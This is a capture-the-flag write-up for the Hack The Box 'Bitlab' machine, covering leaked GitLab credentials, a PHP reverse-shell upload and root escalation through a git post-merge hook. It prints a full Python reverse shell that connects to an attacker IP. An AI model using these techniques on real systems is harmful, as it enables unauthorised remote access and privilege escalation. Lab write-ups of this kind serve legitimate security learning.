Hackthebox - Bitlab writeup


Machine Data

  • IP address: 10.10.10.114
  • OS:             Linux
  • Rating:         Medium
  • Points:         30
  • Phased out: Jan 11th 2020

Initial scan


Nmap reveals only port 22 and 80 open.

Opening the main webpage  with a browser shows a local instance of Gitlab, but no public projects: we need to sign in.

Initial foothold

Looking for web folder with dirb, we can find a link http://10.10.10.114/help/bookmarks.html which shows additional URLs


The last link is encoded with a javascript function



When decoded the function reveals some HEX strings values:

  • Value
  • user_login;
  • getElementbyId; 
  • clave; 
  • user_password; 
  • 11des0081x.


It looks like the gitlab webpage can be accessed with user clave and password 11des0081x:




To exploit this VM a basic knowledge of git is required.

Looking at project “Administrator / Profile” we can see that we can make changes to It.
We can, for example:

  1. Create a new branch,
  2. Add a new php file (i.e. xxx.php) to that branch,
  3. Commit the change, 
  4. Create a merge request of the branch into master,
  5. Approve the merge.


This sequence of operations will push the new file directly to the website and will be accessible as http://10.10.10.114/profile/xxx.php

We can therefore use this sequence to upload a php reverse shell

As a reference for php revrerse shell I used the great site Pentestmonkey and the github repo PayloadsAllTheThings

So we can easily get our reverse shell:



User and root exploitation

We’re in the machine as www-data users and we can find that www-data user can run some commands as root without authentication through sudo:




If we try to run the command it will fail because the shell is not truly interactive shell, so we have to use a trick to have a better shell:


python -c 'import pty;pty.spawn("/bin/sh")'

Now: how can we exploit the “git pull” command to get a shell?

The basic idea behind it it the use of git hooks (githooks).

Git hooks are scripts that are run when specific events occurs on a repo. In this case the post-merge script is executed as a consequence of a “git pull” command

This sequence of operations to use this hook can be:

  1. Copy the git repo of “Profile” project to a convenient folder,
  2. Create a post-merge hook that contains a specific shell script,
  3. Change something in the project on the Gitlab web page (this is needed to run a succesfull "git pull" command on the local git repo
  4. run a “sudo git pull” in our local git repo: this will trigger the post-merge script as root

Now to the practical part...

Create the local copy of the git repo in a temporary folder



Edit the .git/hooks/post-merge adding a python reverse shell (be aware that editors like vi or nano might not behave properly within the reverse shell)
I prefer to use:

$ cat > /tmp/nikita/profile/.git/hooks/post-merge << EOF
#!/bin/sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.28",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
EOF

This is a second reverse shell on port 6666 that we'll have to take care...





Now let’s go to gitlab webpage  and execute again the operation of repo merge:

  • change our file xxx.php (i.e. edit a comment line) 
  • Commit 
  • Submit merge request 
  • Approve merge request

Now let’s open a netcat on our computer listening on port 6666

Then go back to terminal on bitlab machine and run “sudo /usr/bin/git pull”

It shows some logs about git, saying that it’s merging the changes from the repo to local folder. Then it executes the post-merge script, that will make a reverse shell connection as root on port 6666




Now we are root on the bitlab machine and we can easily get the flags: